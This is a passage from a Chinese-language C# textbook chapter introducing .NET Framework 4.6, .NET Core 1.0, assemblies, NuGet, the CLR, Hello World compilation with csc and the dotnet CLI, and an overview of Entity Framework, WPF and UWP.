Core的一个组成部分是一个新的运行库CoreCLR。这个运行库从ASP.NET Core 1.0开始使用。不使用CoreCLR运行库,.NET也可以编译为本地代码。UWP自动利用这个 特性,这些.NET应用程序编译为本地代码之后,在Windows Store中提供。也可以把其 他.NET Core应用程序以及运行在Linux上的应用程序编译为本地代码。 在图1-1的下方,.NET Framework 4.6和.NET Core 1.0之间还有一些共享的内容。运行 库组件是共享的,如垃圾回收器的代码和RyuJIT(这是一个新的JIT编译器,把IL代码编 译为本地代码)。垃圾回收器由CLR、CoreCLR和.NET Native使用。RyuJIT即时编译器由 CLR和CoreCLR使用。库可以在基于.NET Framework 4.6和.NET Core 1.0的应用程序之间 共享。NuGet包的概念帮助把这些库放在一个在所有.NET平台上都可用的公共包上。当 然,所有这些技术都使用新的.NET编译器平台。 1.3.1 .NET Framework 4.6 .NET Framework 4.6是.NET Framework在过去10年不断增强的结果。1.2节讨论的许多 技术都基于这个框架。这个框架用于创建Windows Forms和WPF应用程序。此外, ASP.NET 5可以在.NET Core上运行,也可以在.NET Framework 4.6上运行。 如果希望继续使用ASP.NET Web Forms,就应选择ASP.NET 4.6和.NET Framework 4.6。ASP.NET 4.6与4.5版本相比,也有新特性,比如支持HTTP2(HTTP协议的一个新版 本,参见第25章),用Roslyn编译器编译,以及异步模型绑定。然而,不能把ASP.NET Web Forms切换到.NET Core。 在目录%windows%\Microsoft.NET\Framework\v4.0.30319下可以找到框架的库以及 CLR。 可用于.NET Framework的类组织在System名称空间中。表1-2描述的名称空间提供了 层次结构的思路。 表1-2 名称空间 说明 System.Collections System.Collections. Generic这是集合的根名称空间。子名称 空间也包含集合,如System.Collections.Concurrent和 System.Data 这是访问数据库的名称空间。System.Data.SqlClient包含访 问SQL Server的类 System.Diagnostics 这是诊断信息的根名称空间,如事件记录和跟踪(在 System.Diagnostics.Tracing名称空间中) System.Globalization 该名称空间包含的类用于全球化和本地化应用程序 System.IO 这是文件IO的名称空间,其中的类访问文件和目录,包括 读取器、写入器和流 System.Net 这是核心网络的名称空间,比如访问DNS服务器,用 System.Net.Sockets创建套接字 System.Threading 这是线程和任务的根名称空间。任务在 System.Threading.Tasks中定义 System.Web 这是ASP.NET的根名称空间。在这个名称空间下面定义了 许多子名称空间,如System.Web.UI、 System.Web.UI.WebControls和System.Web.Hosting System.Windows 这是用于带有WPF的Windows桌面应用程序的根名称空间。 子名称空间有System.Windows.Shapes、 System.Windows.Data和System.Windows.Documents  注意: 一些新的.NET类使用以Microsoft开头而不是以System开头的名称空 间,比如用于Entity Framework的Microsoft.Data.Entity,用于新的依赖关系注入框架的 Microsoft.Extensions.DependencyInjection。 1.3.2 .NET Core 1.0 .NET Core 1.0是新的.NET,所有新技术都使用它,是本书的一大关注点。这个框架 是开源的,可以在http://www.github.com/dotnet上找到它。运行库是CoreCLR库;包含集合 类的框架、文件系统访问、控制台和XML等都在CoreFX库中。 .NET Framework要求必须在系统上安装应用程序需要的特定版本,而在.NET Core 1.0 中,框架(包括运行库)是与应用程序一起交付的。以前,把ASP.NET Web应用程序部 署到共享服务器上有时可能有问题,因为提供程序安装了旧版本的.NET。这种情况已经 一去不复返了。现在可以同时提交应用程序和运行库,而不依赖服务器上安装的版本。 .NET Core 1.0以模块化的方式设计。该框架分成数量很多的NuGet包。根据应用程序 决定需要什么包。添加新功能时,.NET Framework就变得越来越大。删除不再需要的旧 功能是不可能的,比如添加了泛型集合类,旧的集合类就是不必要的。.NET Remoting被 新的通信技术取代,或LINQ to SQL已经更新为Entity Framework。删除某个功能,会破坏 应用程序。这不适用于.NET Core,因为应用程序会发布它需要的部分框架。 目前.NET Core的框架与.NET Framework 4.6一样庞大。然而,这可以改变,它可以变 得更大,但因为模块化,其增长潜力不是问题。.NET Core已经如此之大,本书不可能包 括每个类型。在http://www.github.com/dotnet /corefx中可以看到所有的源代码。例如,旧 的非泛型集合类已被包含在.NET Core中,使旧代码更容易进入新平台。 .NET Core可以很快更新。即使更新运行库,也不影响现有的应用程序,因为运行库 与应用程序一起安装。现在,微软公司可以增强.NET Core,包括运行库,发布周期更 短。  注意: 为了使用.NET Core开发应用程序,微软公司创建了新的命令行实用 程序.NET Core Command Line (CLI)。 1.3.3 程序集 .NET程序的库和可执行文件称为程序集(assembly)。程序集是包含编译好的、面 向.NET Framework的代码的逻辑单元。 程序集是完全自描述性的,它是一个逻辑单元而不是物理单元,这意味着它可以存储 在多个文件中(动态程序集存储在内存中,而不是存储在文件中)。如果一个程序集存储 在多个文件中,其中就会有一个包含入口点的主文件,该文件描述了程序集中的其他文 件。 可执行代码和库代码使用相同的程序集结构。唯一的区别是可执行的程序集包含一个 主程序入口点,而库程序集不包含。 程序集的一个重要特征是它们包含的元数据描述了对应代码中定义的类型和方法。程 序集也包含描述程序集本身的程序集元数据,这种程序集元数据包含在一个称为“清单 (manifest)”的区域中,可以检查程序集的版本及其完整性。 由于程序集包含程序的元数据,因此调用给定程序集中的代码的应用程序或其他程序 集不需要引用注册表或其他数据源就能确定如何使用该程序集。 在.NET Framework 4.6中,程序集有两种类型:私有程序集和共享程序集。共享程序 集不适用于UWP,因为所有代码都编译到一个本机映像中。 1.私有程序集 私有程序集一般附带在某个软件上,且只能用于该软件。附带私有程序集的常见情况 是,以可执行文件或许多库的方式提供应用程序,这些库包含的代码只能用于该应用程 序。 系统可以保证私有程序集不被其他软件使用,因为应用程序只能加载位于主执行文件 所在文件夹或其子文件夹中的私有程序集。 用户一般会希望把商用软件安装在它自己的目录下,这样软件包不存在覆盖、修改或 在无意间加载另一个软件包的私有程序集的风险。私有程序集只能用于自己的软件包,这 样,用户对什么软件使用它们就有了更大的控制权。因此,不需要采取安全措施,因为这 没有其他商用软件用某个新版本的程序集覆盖原来私有程序集的风险(但软件专门执行怀 有恶意的损害性操作的情况除外)。名称也不会有冲突。如果私有程序集中的类正巧与另 一个人的私有程序集中的类同名,是不会有问题的,因为给定的应用程序只能使用它自己 的一组私有程序集。 因为私有程序集是完全自包含的,所以部署它的过程就很简单。只需要把相应的文件 放在文件系统的对应文件夹中即可(不需要注册表项),这个过程称为“0影响(xcopy) 安装”。 2.共享程序集 共享程序集是其他应用程序可以使用的公共库。因为其他软件可以访问共享程序集, 所以需要采取一定的保护措施来防止以下风险: ● 名称冲突,指另一个公司的共享程序集实现的类型与自己的共享程序集中的类型同 名。因为客户端代码理论上可以同时访问这些程序集,所以这是一个严重的问 题。 ● 程序集被同一个程序集的不同版本覆盖——新版本与某些已有的客户端代码不兼 容。 这些问题的解决方法是把共享程序集放在文件系统的特定子目录树中,称为全局程序 集缓存(Global Assembly Cache, GAC)。与私有程序集不同,不能简单地把共享程序集 复制到对应的文件夹中,而需要专门安装到缓存中。有许多.NET工具可以完成这个过 程,并要求对程序集进行检查,在程序集缓存中设置一个小的文件夹层次结构,以确保程 序集的完整性。 为了避免名称冲突,应根据私钥加密法为共享程序集指定一个名称(而对于私有程序 集,只需要指定与其主文件名相同的名称即可)。该名称称为强名(strong name),并保 证其唯一性,它必须由要引用共享程序集的应用程序来引用。 与覆盖程序集的风险相关的问题,可以通过在程序集清单中指定版本信息来解决,也 可以通过同时安装来解决。 1.3.4 NuGet包 在早期,程序集是应用程序的可重用单元。添加对程序集的一个引用,以使用自己代 码中的公共类型和方法,此时,仍可以这样使用(一些程序集必须这样使用)。然而,使 用库可能不仅意味着添加一个引用并使用它。使用库也意味着一些配置更改,或者可以通 过脚本来利用的一些特性。这是在NuGet包中打包程序集的一个原因。 NuGet包是一个zip文件,其中包含程序集(或多个程序集)、配置信息和PowerShell 脚本。 使用NuGet包的另一个原因是,它们很容易找到,它们不仅可以从微软公司找到,也 可以从第三方找到。NuGet包很容易在NuGet服务器http://www.nuget.org上获得。 在Visual Studio项目的引用中,可以打开NuGet包管理器(NuGet Package Manager, 见图1-2),在该管理器中可以搜索包,并将其添加到应用程序中。这个工具允许搜索还 没有发布的包(包括预发布选项),定义应该在哪个NuGet服务器中搜索包。 图1-2  注意: 使用NuGet服务器中的第三方包时,如果一个包以后才能使用,就总 是有风险。还需要检查包的支持可用性。使用包之前,总要检查项目的链接信息。对 于包的来源,可以选择Microsoft and .NET,只获得微软公司支持的包。第三方包也包 括在Microsoft and .NET部分中,但它们是微软公司支持的第三方包。 也可以让开发团队使用自己的NuGet服务器。可以定义开发团队只允许使用自己服 务器中的包。 因为.NET Core是模块化的,所以所有应用程序(除了最简单的应用程序)都需要额 外的NuGet包。为了更容易找到包,本书使用.NET Core构建的每个示例应用程序都显示 了一个表格,列出需要添加的包和名称空间。  注意: NuGet包管理器的更多信息参见第17章。 1.3.5 公共语言运行库 UWP(通用Windows平台)利用Native .NET把IL编译成本地代码。在所有其他场景 中,使用.NET Framework 4.6的应用程序和使用.NET Core 1.0的应用程序都需要 CLR(Common Language Runtime,公共语言运行库)。然而,.NET Core使用CoreCLR, 而.NET Framework使用CLR。 在CLR执行应用程序之前,编写好的源代码(使用C#或其他语言编写的代码)都需 要编译。在.NET中,编译分为两个阶段: (1)将源代码编译为Microsoft中间语言(Intermediate Language, IL)。 (2)CLR把IL编译为平台专用的本地代码。 IL代码在.NET程序集中可用。在运行时,JIT编译器编译IL代码,创建特定于平台的 本地代码。 新的CLR和CoreCLR包括一个新的JIT编译器RyuJIT。新的JIT编译器不仅比以前的版 本快,还在用Visual Studio调试时更好地支持Edit & Continue特性。Edit & Continue特性允 许在调试时编辑代码,可以继续调试会话,而不需要停止并重新启动过程。 CLR还包括一个带有类型加载器的类型系统,类型加载器负责从程序集中加载类型。 类型系统中的安全基础设施验证是否允许使用某些类型系统结构,如继承。 创建类型的实例后,实例还需要销毁,内存也需要回收。CLR的另一个功能是垃圾回 收器。垃圾回收器从托管堆中清除不再引用的内存。第5章解释其工作原理和执行的时 间。 CLR还负责线程的处理。在C#中创建托管的线程不一定来自底层操作系统。线程的 虚拟化和管理由CLR负责。  注意: 如何在C#中创建和管理线程参见第21章和第22章。 1.3.6 .NET Native .NET Native是.NET 2015的一个新特性,它将托管程序编译成本地代码。对于 Windows应用程序,这会生成优化的代码,其启动时间可以缩短60%,内存的使用减少 15%~20%。 最初,.NET Native把UWP应用编译为本地代码,以部署到Windows Store。现 在,.NET Native将来也可以用于其他.NET Core应用程序,不过它目前还不能用于.NET Core 1.0版本中,但可用于.NET Core的将来版本中。可以把运行在Windows和Linux上 的.NET Core应用程序编译为本地代码。当然,在每一个平台上需要不同的本地映像。在 后台.NET Native共享C++优化器,以生成本地代码。 1.3.7 Windows运行库 从Windows 8开始,Windows操作系统提供了另一种框架:Windows运行库 (Windows Runtime)。这个运行库由WUP(Windows Universal Platform, Windows通用平 台)使用,Windows 8使用第1版,Windows 8.1使用第2版,Windows 10使用第3版。 与.NET Framework不同,这个框架是使用本地代码创建的。当它用于.NET应用程序 时,所包含的类型和.NET类似。在语言投射的帮助下,Windows运行库可以用于 JavaScript、C++和.NET语言,它看起来像编程环境的本地代码。不仅方法因区分大小写 而行为不同;方法和类型也可以根据所处的位置有不同的名称。 Windows运行库提供了一个对象层次结构,它在以Windows开头的名称空间中组织。 这些类没有复制.NET Framework的很多功能;相反,提供了额外的功能,用于在UWP上 运行的应用程序。如表1-3所示。 表1-3 名称空间 说明 Windows. ApplicationModel 这个名称空间及其子名称空间(如 Windows.ApplicationModel.Contracts)定义了类,用于管理 应用程序的生命周期,与其他应用程序通信 Windows.Data Windows.Data定义了子名称空间,来处理文本、JSON、 PDF和XML数据 Windows.Devices 地理位置、智能卡、服务设备点、打印机、扫描仪等设备可 以用Windows.Devices子名称空间访问 Windows.Foundation Windows.Foundation定义了核心功能。集合的接口用名称空 间Windows.Foundation.Collections定义。这里没有具体的集 合类。相反,.NET集合类型的接口映射到Windows运行库 类型 Windows.Media Windows.Media是播放、捕获视频和音频、访问播放列表和 语音输出的根名称空间 Windows.Networking 这是套接字编程、数据后台传输和推送通知的根名称空间 Windows.Security Windows.Security.Credentials中的类提供了密码的安全存储 区;Windows.Security.Credentials.UI提供了一个选择器,用 于从用户处获得凭证 Windows.Services. Maps 这个名称空间包含用于定位服务和路由的类 Windows.Storage 有了Windows.Storage及其子名称空间,就可以访问文件和 目录,使用流和压缩 Windows.System Windows.System名称空间及其子名称空间提供了系统和用 户的信息,也提供了一个启动其他应用程序的启动器 Windows.UI.Xaml 在这个名称空间中,可以找到很多用于用户界面的类型 1.4 Hello, World 下面进入编码,创建一个Hello, World应用程序。自20世纪70年代以来,Brian Kernighan和Dennis Ritchie编写了The C Programming Language 一书,使用Hello, World应 用程序开始学习编程语言就成为一个传统。有趣的是,自C#发明以来,Hello, World的语 法用C# 6改变后,这一简单的程序第一次看起来非常不同。 创建第一个示例不借助于Visual Studio,而是使用命令行工具和简单的文本编辑器 (如记事本),以便看到后台会发生什么。之后,就转而使用Visual Studio,因为它便于 编程。 在文本编辑器中输入以下源代码,并用.cs作为扩展名(如HelloWorld.cs)保存它。 Main()方法是.NET应用程序的入口点。CLR在启动时调用一个静态的Main()方法。 Main()方法需要放到一个类中。这里的类称为Program,但是可以给它指定任何名字。 WriteLine是Console类的一个静态方法。Console类的所有静态成员都用第一行中的using声 明打开。using static System.Console打开Console类的静态成员,所以不需要输入类名,就 可以调用方法WriteLine()(代码文件Dotnet / HelloWorld.cs): using static System.Console; class Program { static void Main() { WriteLine("Hello, World! "); } } 如前所述,Hello, World的语法用C# 6略加改变。在C# 6推出之前,using static并不可 用,只能通过using声明打开名称空间。当然,下面的代码仍然适用于C# 6(代码文件 Dotnet/ HelloWorld2.cs): using System; class Program { static void Main() { Console.WriteLine("Hello, World! "); } } using声明可以减少打开名称空间的代码。编写Hello, World程序的另一种方式是删除 using声明,在调用WriteLine()方法时,给Console类添加System名称空间(代码文件 Dotnet/HelloWorld3.cs): class Program { static void Main() { System.Console.WriteLine("Hello, World! "); } } 编写源代码之后,需要编译代码来运行它。 1.5 用.NET 4.6编译 对源文件运行C#命令行编译器(csc.exe),就可以编译这个程序,如下所示: csc HelloWorld.cs 如果想使用csc命令在命令行上编译代码,就应该知道,.NET命令行工具(包括csc) 只有设置了某些环境变量后才可用。根据安装.NET(和Visual Studio)的方式,计算机可 能设置了这些环境变量,也可能没有设置。  注意: 如果没有设置环境变量,则有3个选择。第一个选择是在调用csc可执 行文件时添加路径。它位于% ProgramFiles %\MsBuild\14.0\Bin\csc.exe。如果安装了 dotnet工具,则csc在%ProgramFiles%\dot.net\bin\csc.exe上。第二个选择是在运行csc前, 从命令提示符下运行批处理文件% Microsoft Visual Studio 2015%\Common7\vsvars32.bat,其中%Microsoft Visual Studio 2015%是安装Visual Studio 2015的文件夹。第三个选择、也是最容易的方式,是使用Visual Studio 2015命令提示符 代替Windows命令提示符。要在“开始”菜单中找到Visual Studio 2015命令提示符,选择 Programs | Microsoft Visual Studio 2015 | Visual Studio Tools。Visual Studio 2015命令提示 符只是一个命令提示符窗口,它打开时会自动运行vsvars32.bat。 编译代码,生成一个可执行文件HelloWorld.exe,在命令行上可以运行它。也可以在 Windows资源管理器中运行它,就像运行任何其他可执行文件一样。试一试: > csc HelloWorld.cs Microsoft (R) Visual C# Compiler version 1.1.0.51109 Copyright (C) Microsoft Corporation. All rights reserved. > HelloWorld Hello World! 以这种方式编译可执行程序,会生成一个程序集,其中包含IL(中间语言)代码。程 序集可以使用中间语言反汇编程序(Intermediate Language Disassembler, IL DASM)工具 读取。如果运行ildasm.exe,打开HelloWorld.exe,会发现程序集包含一个Program类型和 一个Main()方法,如图1-3所示。 图1-3 双击树视图中的MANIFEST节点,显示程序集的元数据信息(如图1-4所示)。这个 程序集会利用mscorlib程序集(因为Console类位于mscorlib程序集里)、一些配置和 HelloWorld程序集的版本。 图1-4 双击Main()方法,显示该方法的IL代码(如图1-5所示)。不管编译Hello, World代 码的什么版本,结果都是一样的。都是调用mscorlib程序集中定义的 System.Console.WriteLine方法,传递字符串,之后加载字符串Hello, World!。CLR的一个 特性是JIT编译器。运行该应用程序时,JIT编译器把IL代码编译为本地代码。 图1-5 1.6 用.NET Core CLI编译 如果没有Visual Studio的帮助,使用新的.NET Core CLI(Command Line,命令行)就 需要做一些准备,才能编译应用程序。下面看看编译Hello, World示例应用程序的新工 具。 1.6.1 设置环境 安装了Visual Studio 2015和最新的更新包后,就可以立即启动CLI工具。否则,就需 要安装.NET Core和CLI工具。Windows、Linux和OS X的下载指令可以从 http://dotnet.github.io获取。 在Windows上,不同版本的.NET Core运行库以及NuGet包安装在用户配置文件中。使 用.NET时,这个文件夹的大小会增加。随着时间的推移,会创建多个项目,NuGet包不再 存储在项目中,而是存储在这个用户专用的文件夹中。这样做的优势在于,不需要为每个 不同的项目下载NuGet包。这个NuGet包下载后,它就在系统上。因为不同版本的NuGet包 和运行库都是可用的,所有的不同版本都存储在这个文件夹中。不时地检查这个文件夹, 删除不再需要的旧版本,可能很有趣。 安装.NET Core CLI工具,要把dotnet工具作为入口点来启动所有这些工具。开始时: > dotnet 会看到,dotnet工具的所有不同选项都可用。 repl(read、eval、print、loop)命令适合于学习和测试简单的C#特性,而无须创建程 序。用dotnet工具启动repl: > dotnet repl 这会启动一个交互式repl会话。使用一个变量,可以给Hello, World输入以下语句: > using static System.Console; > var hello = "Hello, World! "; > WriteLine(hello); 输入最后一条语句后,输出就是Hello, World!字符串。 dotnet repl命令不可用于dotnet工具的Preview 2版本,但在将来可以作为其扩展用于该 工具。 1.6.2 构建应用程序 dotnet工具提供了一种简单的方法来创建Hello, World应用程序。创建一个新的目录 HelloWorldApp,用命令提示符进入这个目录。然后输入如下命令: > dotnet new 这个命令创建一个Program.cs文件(其中包括Hello, World应用程序的代码)、一个 NuGet.config文件(定义了应该加载NuGet包的NuGet服务器)和新的项目配置文件 project.json。  注意: 使用dotnet new,还可以创建库和ASP.NET Web应用程序所需要的初 始文件(使用选项--type)。也可以选择其他编程语言,如F#和Visual Basic(使用选项- -lang)。 创建的项目配置文件是project.json。这个文件采用JavaScript Object Notation(JSON) 格式,定义了框架应用程序信息,如版本、描述、作者、标签、依赖的库和应用程序支持 的框架。生成的项目配置文件如下面的代码片段所示(代码文件 HelloWorldApp/project.json): { "version": "1.0.0-*", "buildOptions": { "emitEntryPoint": true }, "dependencies": { "NETStandard.Library": "1.0.0-*" }, "frameworks" : { "netstandardapp1.5": { "imports": "dnxcore50" } }, "runtimes" : { "ubuntu.14.04-x64": { }, "win7-x64": { }, "win10-x64": { }, "osx.10.10-x64": { }, "osx.10.11-x64": { } } } 通过compilationOptions设置来设置emitEntryPoint。如果把Main()方法创建为程序 的入口点,这就是必要的。这个Main()方法在运行应用程序时调用。库不需要这个设 置。 对于依赖关系部分,可以添加程序的所有依赖项,如需要编译程序的额外NuGet包。 默认情况下,NetStandard.Library添加为一个依赖项。NetStandard.Library是一个引用的 NuGet包,这个包引用了其他NuGet包。有了它,就可以避免添加很多其他的包,如 Console类的System.Console、泛型集合类的System.Collections等。NetStandard.Library 1.0 是一个标准,定义了所有.NET平台必须支持的一组程序集,在网站 https://github.com/dotnet/corefx/blob/master/Documentation/project-docs/standard-platform.md 上,可以找到一长串.NET 1.0中的程序集及其版本号,以及.NET标准的1.1、1.2、1.3和1.4 版本中添加的程序集。 NetStandard.Library 1.0有一个依赖项,可以支持.NET Framework 4.5.2及以上版本 (对.NET 4、4.5、4.5.1的支持结束于2016年1月)、.NET Core 1.0、UWP 10.0和其他.NET Framework,如Windows Phone Silverlight 8.0、Mono和Mono/Xamarin。对1.3版本的修改有 限支持.NET 4.6、.NET Core 1.0、UWP 10.0和Mono/Xamarin平台。1.4版本有限支持.NET 4.6.1、.NET Core 1.0和Mono/Xamarin平台,但版本越新,可用的程序集列表就越大。 project.json中的frameworks部分列出了应用程序支持的.NET Framework。默认情况 下,应用程序只为.NET Core 1.0构建为netstandardapp1.5 moniker指定的名称。 netstandardapp1.5与.NET Core 1.0所构建的应用程序一起使用。通过库可以使用 netstandard1.0 moniker。这允许在.NET Core应用程序和使用.NET Framework的应用程序中 使用库。netstandardapp1.5内的imports部分引用旧名称dnxcore50,该旧名称映射到新名字 上。这允许使用仍在使用旧名称的包。 .NET Core是框架的新开源版本,可用于Windows、Linux和OS X。应该支持的运行库 需要添加到runtimes部分。前面的代码片段显示了对Ubuntu Linux发行版、Windows 7(也 允许在Windows 8上运行应用程序)、Windows 10和OS X的支持。 添加字符串net46,为.NET Framework 4.6构建程序: "frameworks" : { "netstandardapp1.5" : { } "net46" : { } } 给frameworks部分添加net46,就不再支持非Windows运行库,因此需要删除这些运行 库。 还可以添加额外的元数据,比如描述、作者信息、标签、项目和许可URL: "version": "1.0.0-*", "description": "HelloWorld Sample App for Professional C#", "authors": [ "Christian Nagel" ], "tags": [ "Sample", "Hello", "Wrox" ], "projectUrl": "http://github.com/professionalCSharp/", "licenseUrl": "", 给project.json文件添加多个框架时,可以在frameworks下面的dependencies部分中为每 个框架指定专门的依赖项。dependencies部分中指定的依赖项,若处于frameworks部分所 在的层次上,就指定了所有框架共同的依赖项。 有了项目结构后,就可以使用如下命令下载应用程序的所有依赖项: > dotnet restore 此时,命令提示符定位在project.json文件所在的目录。这个命令会下载应用程序所需 要的所有依赖项,即project.json文件中定义的项。指定版本1.0.0 - *,会得到版本1.0.0, * 表示可用的最新版本。在project.lock.json文件中,可以看到检索了什么NuGet包的哪个版 本,包括依赖项的依赖项。记住,包存储在用户专门的文件夹中。 要编译应用程序,启动命令dotnet build,输出如下——为.NET Core 1.0和.NET Framework 4.6编译: > dotnet build Compiling HelloWorldApp for .NETStandardApp, Version=1.5" Compilation succeeded. 0 Warning(s) 0 Error(s) Time elapsed 00:00:02.6911660 Compiling HelloWorldApp for .NETFramework, Version=v4.6 Compilation succeeded. 0 Warning(s) 0 Error(s) Time elapsed 00:00:03.3735370 编译过程的结果是bin/debug/[netstandardapp1.5|net46]文件夹中包含Program类的IL代 码的程序集。如果比较.NET Core与.NET 4.6的编译结果,会发现一个包含IL代码和.NET Core的DLL,和包含IL代码和.NET 4.6的EXE。为.NET Core生成的程序集有一个对 System.Console程序集的依赖项,而.NET 4.6程序集在mscorlib程序集中找到Console类。 还可以使用下面的命令行把程序编译成本地代码: > dotnet build --native 编译为本地代码,会加快应用程序的启动,消耗更少的内存。本地编译过程会把应用 程序的IL代码以及所有依赖项编译为单一的本地映像。别指望.NET Core的所有功能都可 用于编译为本地代码,但是随着时间的推移,微软公司的继续发展,越来越多的应用程序 可以编译为本地代码。 要运行应用程序,可以使用dotnet命令: > dotnet run 要使用特定版本的框架启动应用程序,可以使用-framework选项。这个框架必须用 project.json文件配置: > dotnet run --framework net46 启动bin/debug目录中的可执行程序,也可以运行应用程序。  注意: 前面是在Windows上构建和运行Hello, World应用程序,而dotnet工具 在Linux和OS X上的工作方式是相同的。可以在这两个平台上使用相同的dotnet命令。 在使用dotnet命令之前,只需要准备基础设施:为Ubuntu Linux使用sudo实用工具,在 OS X上安装一个PKG包,参见http://dotnet.github。安装好.NET Core CLI后,就可以通 过本小节介绍的方式使用dotnet工具——只是.NET Framework 4.6是不可用的。除此之 外,可以恢复NuGet包,用dotnet restore、dotnet build和dotnet run编译和运行应用程 序。 本书的重点是Windows,因为Visual Studio 2015提供了一个比其他平台更强大的开 发平台,但本书的许多代码示例是基于.NET Core的,所以也能够在其他平台上运行。 还可以使用Visual Studio Code(一个免费的开发环境),直接在Linux和OS X上开发应 用程序,参见1.8节,了解Visual Studio不同版本的更多信息。 1.6.3 打包和发布应用程序 使用dotnet工具还可以创建一个NuGet包,发布应用程序,以进行部署。 命令dotnet pack创建了可以放在NuGet服务器上的NuGet包。开发人员现在可以使用下 面的命令来引用包: > dotnet pack 用HelloWorldApp运行这个命令,会创建文件HelloWorldApp.1.0.0.nupkg,其中包含用 于所有支持框架的程序集。NuGet包是一个ZIP文件。如果用zip扩展名重命名该文件,就 可以轻松地查看它的内容。对于示例应用程序,创建了两个文件夹dnxcore500和net46,其 中包含各自的程序集。文件HelloWorldApp.nuspec是一个XML文件,它描述了NuGet包, 列出了支持框架的内容,还列出了安装NuGet包之前所需要的程序集依赖项。 要发布应用程序,还需要在目标系统上有运行库。发布所需要的文件可以用dotnet publish命令创建: > dotnet publish 使用可选参数,可以指定用于发布的特定运行库(选项-r)或不同的输出目录(选项- o)。在Windows系统上运行这个命令后,会创建win7-x64文件夹,其中包含目标系统上 需要的所有文件。注意,在.NET Core中包含运行库,因此不管安装的运行库是什么版本 都没有关系。 1.7 应用程序类型和技术 可以使用C#创建控制台应用程序,本章的大多数示例都是控制台应用程序。对于实 际的程序,控制台应用程序并不常用。使用C#创建的应用程序可以使用与.NET相关的许 多技术。本节概述可以用C#编写的不同类型的应用程序。 1.7.1 数据访问 在介绍应用程序类型之前,先看看所有应用程序类型都使用的技术:数据访问。 文件和目录可以使用简单的API调用来访问,但简单的API调用对于有些场景而言不 够灵活。使用流API有很大的灵活性,流提供了更多的特性,例如加密或压缩。阅读器和 写入器简化了流的使用。所有可用的不同选项都包含在第23章中。也可能以XML或JSON 格式序列化完整的对象。第27章讨论了这些选项。 为了读取和写入数据库,可以直接使用ADO.NET(参见第37章);也可以使用抽象 层:ADO.NET Entity Framework (参见第38章)。Entity Framework提供了从对象层次结 构到数据库关系的映射。 ADO.NET Entity Framework进行了若干次迭代。Entity Framework的不同版本值得讨 论,以很好地理解NuGet包的优点。还要了解不应继续使用Entity Framework的哪些部分。 表1-4描述了Entity Framework的不同版本和每个版本的新特性。 表1-4 Entity Framework 说明 1.0 .NET 3.5 SP1可用。这个版本提供了通过XML文件把表映射 到对象的映射 4.0 在.NET 4中,Entity Framework从第1版跳到第4版 4.1 支持代码优先 4.2 修复错误 4.3 添加了迁移 5.0 与.NET 4.5一起发布,提供性能改进,支持新的SQL Server 特性 6.0 移动到NuGet包中 7.0 完全重写,也支持NoSQL、也运行在Windows应用程序上 下面介绍一些细节。Entity Framework最初发布为.NET Framework类的一部分, 和.NET Framework一起预装。Entity Framework 1是.NET 3.5第一个服务包的一部分,它有 一个特性更新:.NET 3.5 Update 1。 第2版有许多新特性,因此决定和.NET 4一起跳到第4版。之后,Entity Framework以 比.NET Framework更快的节奏发布新版本。要得到Entity Framework的更新版本,必须把 一个NuGet包添加到应用程序中(版本4.1、4.2、4.3)。这种方法有一个问题。已经通 过.NET Framework发布的类必须用以前的方式使用。只有新添加的功能,如代码优先, 用NuGet包添加。 Entity Framework 5.0与.NET 4.5一起发布。其中的一些类附带在预装的.NET Framework中,而附加的特性是NuGet包的一部分。NuGet包也允许给Entity Framework 5.0 和.NET 4.0应用程序安装NuGet包。然而在现实中,Entity Framework 5.0添加到.NET 4.0项 目中时,(通过脚本)决定的包就是Entity Framework 4.4,因为一些类型必须属于.NET 4.5,而不是.NET 4。 下一个版本的Entity Framework解决了这个问题,它把所有Entity Framework类型移动 到NuGet包中;忽略框架本身附带的类型。这允许同时使用Framework 6.0与旧版本,而不 会局限于Framework 4.5。为了不与框架的类冲突,有些类型移到不同的名称空间中。对 此,ASP.NET Web Forms的一些特性有一个问题,因为它们使用了Entity Framework的原 始类,而这些类映射到新类没有那么轻松。 在发布不同版本的过程中,Entity Framework提供了不同的选项,把数据库表映射到 类。前两个选项是Database First和Model First。在这两个选项中,映射是通过XML文件完 成的。XML文件通过图形设计器表示,可以把实体从工具箱拖动到设计器中,进行映 射。 在4.1版本中,添加了通过代码来映射的选项:代码优先(Code First)。代码优先并 不意味着数据库不能事先存在。两者都是可能的:数据库可以动态地创建,数据库也可以 在编写代码之前存在。使用代码优先,不通过XML文件进行映射。相反,属性或流利的 API可以以编程方式定义映射。 Entity Framework Core 1.0是Entity Framework的完全重新设计,新名称反映了这一 点。代码需要更改,把应用程序从Entity Framework的旧版本迁移到新版本。旧的映射变 体,如Database First和Model First已被删除,因为代码优先是更好的选择。完全重新设计 也支持关系数据库和NoSQL。Azure Table Storage现在是可以使用Entity Framework的一个 选项。 1.7.2 Windows桌面应用程序 为了创建Windows桌面应用程序,可以使用两种技术:Windows Forms和Windows Presentation Foundation。Windows Forms包含包装本地Windows控件的类;它基于像素图 形。Windows Presentation Foundation(WPF)是较新的技术,基于矢量图形。 WPF在构建应用程序时利用了XAML。XAML是指可扩展的应用程序标记语言 (Extensible Application Markup Language)。这种在微软环境中创建应用程序的方式在 2006年引入,是.NET Framework 3.0的一部分。.NET 4.5给WPF引入了新特性,如功能区 控件和实时塑造。 XAML是用来创建表单的XML声明,表单代表WPF应用程序的所有可视化方面和行 为。虽然可以以编程方式使用WPF应用程序,但WPF是迈向声明性编程方向的一步,软 件业正转向这个方向。声明性编程意味着,不使用C#、Visual Basic或Java等编译语言通 过编程方式创建对象,而是通过XML类型的编程方式声明一切对象。第29章介绍了 XAML(使用XML Paper Specification、Windows Workflow Foundation和Windows Communication Foundation)。第30章涵盖了XAML样式和资源。第34章提供控件、布局 和数据绑定的细节。打印和创建文档是WPF的另一个重要方面,参见第35章。 WPF的未来是什么?UWP是用于未来的新应用程序的UI平台吗?UWP的优点是也支 持移动设备。只要一些用户没有升级到Windows 10,就需要支持旧的操作系统,如 Windows 7。UWP应用程序不在Windows 7/8上运行。可以使用WPF。如果还愿意支持移 动设备,最好共享尽可能多的代码。通过支持MVVM模式,可以使用尽可能多的通用代 码,通过WPF和UWP创建应用程序。这种模式参见第31章。 1.7.3 UWP UWP(Universal Windows Platform,通用Windows平台)是微软公司的一个战略平 台。使用UWP创建Windows应用程序时,只能使用Windows 10和Windows的更新版本,但 不限于Windows的桌面版本。使用Windows 10有很多不同的选择,如Phone、Xbox、 Surface Hub、HoloLens和IoT。还有一个适用于所有这些设备的API! 一个适用于所有这些设备的API?是的!每个设备系列都可以添加自己的软件开发工 具包(Software Development Kit, SDK),来添加不是API的一部分、但对所有设备可用的 